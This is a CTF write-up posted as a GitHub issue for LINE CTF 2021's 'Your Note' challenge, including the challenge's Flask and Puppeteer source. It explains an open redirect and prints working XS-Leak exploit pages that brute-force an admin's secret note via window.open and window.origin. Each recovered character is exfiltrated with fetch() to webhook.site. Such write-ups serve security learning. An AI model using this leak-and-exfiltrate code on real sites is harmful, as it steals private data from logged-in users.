Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LINE CTF 2021 - Your Note #25

Open
aszx87410 opened this issue Mar 22, 2021 · 0 comments
Open

LINE CTF 2021 - Your Note #25

aszx87410 opened this issue Mar 22, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

Your Note

Description

螢幕快照 2021-03-22 下午8 17 40

Secure private note service
※ Admin have disabled some security feature of their browser...

Flag Format: LINECTF{[a-z0-9-]+}

source code:

from flask import Flask, flash, redirect, url_for, render_template, request, jsonify, send_file, Response, session
from flask_login import LoginManager, login_required, login_user, logout_user, current_user
from flask_wtf.csrf import CSRFProtect
from flask_sqlalchemy import SQLAlchemy
from flask_session import Session
from sqlalchemy.orm.exc import NoResultFound
from sqlalchemy.exc import IntegrityError, DataError
from sqlalchemy import or_

import json
import os
import secrets
import requests

from database import init_db, db
from models import User, Note, NoteSchema

app = Flask(__name__)
if os.getenv('APP_ENV') == 'PROD':
    app.config.from_object('config.ProdConfig')
else:
    app.config.from_object('config.DevConfig')

init_db(app)

login_manager = LoginManager()
login_manager.init_app(app)

csrf = CSRFProtect(app)

Session(app)


@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))


@login_manager.unauthorized_handler
def unauthorized():
    return redirect(url_for('login', redirect=request.full_path))


@app.before_first_request
def insert_initial_data():
    try:
        admin = User(
            username='admin',
            password=app.config.get('ADMIN_PASSWORD')
        )
        db.session.add(admin)
        db.session.commit()
    except IntegrityError:
        db.session.rollback()
        return

    admin_note = Note(
        title='Hello world',
        content=('Lorem ipsum dolor sit amet, consectetur '
        'adipiscing elit, sed do eiusmod tempor incididunt...'),
        owner=admin
    )
    db.session.add(admin_note)

    admin_note = Note(
        title='flag',
        content=app.config.get('FLAG'),
        owner=admin
    )
    db.session.add(admin_note)
    db.session.commit()


@app.route('/')
@login_required
def index():
    notes = Note.query.filter_by(owner=current_user).all()
    return render_template('index.html', notes=notes)


@app.route('/search')
@login_required
def search():
    q = request.args.get('q')
    download = request.args.get('download') is not None
    if q:
        notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
        if notes and download:
            return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
    else:
        return redirect(url_for('index'))
    return render_template('index.html', notes=notes, is_search=True)


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username and password:
            user = User.query.filter_by(username=username).first()
            if user:
                flash('Username already exists.')
                return redirect(url_for('register'))
            user = User(
                username=username,
                password=password
            )
            db.session.add(user)
            db.session.commit()
            return redirect(url_for('login'))
        
        flash('Registeration failed')
        return redirect(url_for('register'))

    elif request.method == 'GET':
        return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    url = request.args.get('redirect')
    if url:
        url = app.config.get('BASE_URL') + url
        if current_user.is_authenticated:
            return redirect(url)

    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username and password:
            user = User.query.filter_by(username=username).first()
            if user and user.verify_password(password):
                login_user(user)
                if url:
                    return redirect(url)
                return redirect(url_for('index'))

        flash('Login failed')
        return redirect(url_for('login'))

    elif request.method == 'GET':    
        return render_template('login.html')


@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))


@app.route('/note', methods=['GET', 'POST'])
@login_required
def create_note():
    if request.method == 'POST':
        title = request.form.get('title')
        content = request.form.get('content')
        try:
            if title and content:
                note = Note(
                    title=title,
                    content=content,
                    owner=current_user
                )
                db.session.add(note)
                db.session.commit()
                return redirect(url_for('note', note_id=note.id))
        except DataError:
            flash('Note creation failed')
        return redirect(url_for('create_note'))
        
    elif request.method == 'GET':
        return render_template('create_note.html')


@app.route('/note/<note_id>')
@login_required
def note(note_id):
    try:
        note = Note.query.filter_by(owner=current_user, id=note_id).one()
    except NoResultFound:
        flash('Note not found')
        return render_template('note.html')
    
    return render_template('note.html', note=note)


@app.route('/report', methods=['GET', 'POST'])
@login_required
def report():
    if request.method == 'POST':
        url = request.form.get('url')
        proof = request.form.get('proof')
        if url and proof:
            res = requests.get(
                app.config.get('CRAWLER_URL'),
                params={
                    'url': url,
                    'proof': proof,
                    'prefix': session.pop('pow_prefix')
                }
            )
            prefix = secrets.token_hex(16)
            session['pow_prefix'] = prefix
            return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'), msg=res.json()['msg'])
        else:
            return redirect('report')
    elif request.method == 'GET':
        prefix = secrets.token_hex(16)
        session['pow_prefix'] = prefix
        return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'))


if __name__ == '__main__':
    app.run('0.0.0.0')

crawler

const express = require('express');
const logger = require('morgan');
const createError = require('http-errors');
const puppeteer = require('puppeteer');
const pow = require('proof-of-work')

const app = express();
const host = process.env.APP_HOST || 'localhost:5000';
const base_url = 'http://' + host;
const username = 'admin';
const password = process.env.ADMIN_PASSWORD || 'password';
const pow_complexity = process.env.POW_COMPLEXITY || 1;

app.use(logger('dev'));

const router = express.Router();
router.get('/', async function (req, res, next) {
    const url = req.query.url;
    const proof = req.query.proof;
    const prefix = req.query.prefix;
    if (url && url.startsWith(base_url + '/') &&
        proof && prefix && verify(proof, prefix)) {
        const browser = await puppeteer.launch({
            args: [
                '--no-sandbox',
                '--disable-popup-blocking',
            ],
            headless: true,
        });
        const page = await browser.newPage();

        // login
        await page.goto(base_url + '/login');
        await page.type('input[name=username]', username);
        await page.type('input[name=password]', password);
        await Promise.all([
            page.waitForNavigation({
                waitUntil: 'domcontentloaded',
                timeout: 10000,
            }),
            page.click('button[type=submit]'),
        ]);

        // crawl
        page.goto(url).then(() => {
            res.header('Access-Control-Allow-Origin', '*');
            res.send({msg: 'Thank you for the report!'});
        }).catch((err) => {
            res.header('Access-Control-Allow-Origin', '*');
            res.send({msg: 'ng'});
        });
        setTimeout(() => {
            browser.close()
        }, 60 * 1000)
        return
    }
    res.header('Access-Control-Allow-Origin', '*');
    res.send({msg: 'ng'});
});
app.use(router);

// catch 404 and forward to error handler
app.use(function (req, res, next) {
    next(createError(404));
});

// error handler
app.use(function (err, req, res, next) {
    res.status(err.status || 500);
    res.send('error');
});

module.exports = app;

// proof-of-work verify
const verify = (proof, prefix) => {
    const verifier = new pow.Verifier({
        size: 1024,
        n: 16,
        complexity: pow_complexity,
        prefix: Buffer.from(prefix, 'hex'),
        validity: 60000
    })

    setInterval(() => {
        verifier.reset();
    }, 60000);

    return verifier.check(Buffer.from(proof, 'hex'))
}

Writeup

At first I thought we need to do XSS to steal admin's note and get the flag. But I find nowhere to perform XSS and doubt if it's posssible.

After quickly checking the source code I found a open redirect vulnerability:

@app.route('/login', methods=['GET', 'POST'])
def login():
    url = request.args.get('redirect')
    if url:
        url = app.config.get('BASE_URL') + url
        if current_user.is_authenticated:
            return redirect(url)

BASE_URL is something like http://35.200.11.35. If we pass ?redirect=.abc.com, it redirects to http://35.200.11.35.abc.com/.

It's troublesome to create a domain record, actually we can leverage username:password as well like http://35.200.11.35/login?redirect=:pwd@abc.com, redirects to http://35.200.11.35:pwd@abc.com.

So now we can redirect the admin bot to our own domain. I think I will need it at some point to run arbitrary JavaScript.

After playing around for a while I noticed that there is a search and download feature:

@app.route('/search')
@login_required
def search():
    q = request.args.get('q')
    download = request.args.get('download') is not None
    if q:
        notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
        if notes and download:
            return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
    else:
        return redirect(url_for('index'))
    return render_template('index.html', notes=notes, is_search=True)

We can send a query string q to filter the notes and download the result as json file if exists. If there is no such note, nothing happens.

I think we can use this to brute-force the flag so I tried few ways.

The first approach I tried is window.open and window.closed:

<!DOCTYPE html>
<html>
<head></head>
<body>
    <script>
      var flag = 'LINECTF{d'
      var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
      setTimeout(() => {
        if (win.closed) {
          console.log('exist!')
        } else {
          console.log('QQ')
        }
      }, 1000)
    </script>
</body>

</html>

The idea is quite simple, if LINECTF{d exists, it triggers file download so window will be closed, otherwise open a new tab. It works for normal browser but not headless Chrome. For headless Chrome it always failed.

Another idea came to my mind is iframe + download link:

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <script>
      var q = location.hash.slice(1)
      var a =  document.createElement('a')
      a.href = `http://34.84.72.167/search?q=${q}&download=`
      a.download = true
      a.target='_blank'
      a.click()        
    </script>
</body>
</html>

We can embed above page as iframe and check if we can access iframe.contentWindow.document. if we can't it means the download has been triggered and the flag exists.

Then it fails again because of Chrome's default SameSite=Lax I guess.

Finally I gave up on thinking the solution myself, I checked XS-Leaks wiki and find the useful way I need: window.open + win.origin:

<!DOCTYPE html>
<html>
<head></head>
<body>
    <script>
      var flag = 'LINECTF{A'
      var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
      setTimeout(() => {
        try {
          win.origin
          console.log('good!')
        } catch(err) {
          console.log('QQ')
        }
      }, 1000)
    </script>
</body>

</html>

If window is successfully opened without downloading the file, access window.origin will throw an error, otherwise it's fine.

After confirmed that it works on my local I quickly wrote a simple script to brute-forcing the flag.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<script>
  var flag = 'LINECTF{'
  var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
  var wins = []

  function run() {
    for(let i=0; i<str.length; i++) {
      wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
    }

    setTimeout(() => {
      for(let i=0; i<str.length; i++) {
        try {
          console.log(wins[i].origin, str[i])
          flag+=str[i]
          fetch('webhook_url?flag=' + flag, {mode: 'no-cors'}).then().catch()
          if (str[i] !== '}') {
            run()
          }
          break;
        } catch (err) {
        }
      }
    }, 2000)
  }

  run()
</script>
</body>

</html>

I expected that I need to send it a few times to get the whole flag. It works well at first but returns weird result in the end like LINECTF{1-kn0w-oaaaa}

After keep trying for a while I realized it's a bug in my program which lead to false positive result. I think it's because I forgot to close the window! So after running for a while there are too many windows and it takes more time to load.

So I changed my program to something like this:

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<script>
  var flag = 'LINECTF{'
  var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
  var wins = []

  function run() {
    console.log('flag:', flag)
    fetch('https://webhook.site/?start='+Math.random()+'&flag=' +flag , {mode: 'no-cors'}).then().catch();

    for(let i=0; i<str.length; i++){
      try {
        wins[i].close()  
      } catch(err) {

      }
    }

    for(let i=0; i<str.length; i++) {
      wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
    }

    setTimeout(() => {
      fetch('https://webhook.site?a=timeout', {mode: 'no-cors'}).then().catch()
      for(let i=0; i<str.length; i++) {
        try {
          console.log(wins[i].origin, str[i])
          flag+=str[i]
          fetch('https://webhook.site/?flag=' + flag, {mode: 'no-cors'}).then().catch()
          if (str[i] !== '}') {
            run()
          }
          break;
        } catch (err) {
        }
      }
    }, 1000)
  }

  run() 
</script>
</body>

</html>

To get updates about the progress I added few fetch for the report. And this time I remember to close the window.

It works well and get the whole flag by send it to admin bot twice.

Footnote

We don't even need open redirect for this challenge because if you send the url for downloading, headless chrome will crash and throw an exception:

Error: net::ERR_ABORTED at http://35.200.11.35/search?q=LINECTF{&download=
    at navigate (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:115:23)
    at processTicksAndRejections (internal/process/task_queues.js:97:5)
    at async FrameManager.navigateFrame (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:90:21)
    at async Frame.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:416:16)
    at async Page.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/Page.js:789:16)

The crawler returns ng for exception, so by checking the return message we can get the flag as well.

I don't know this until I see the writeup by s1r1us.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant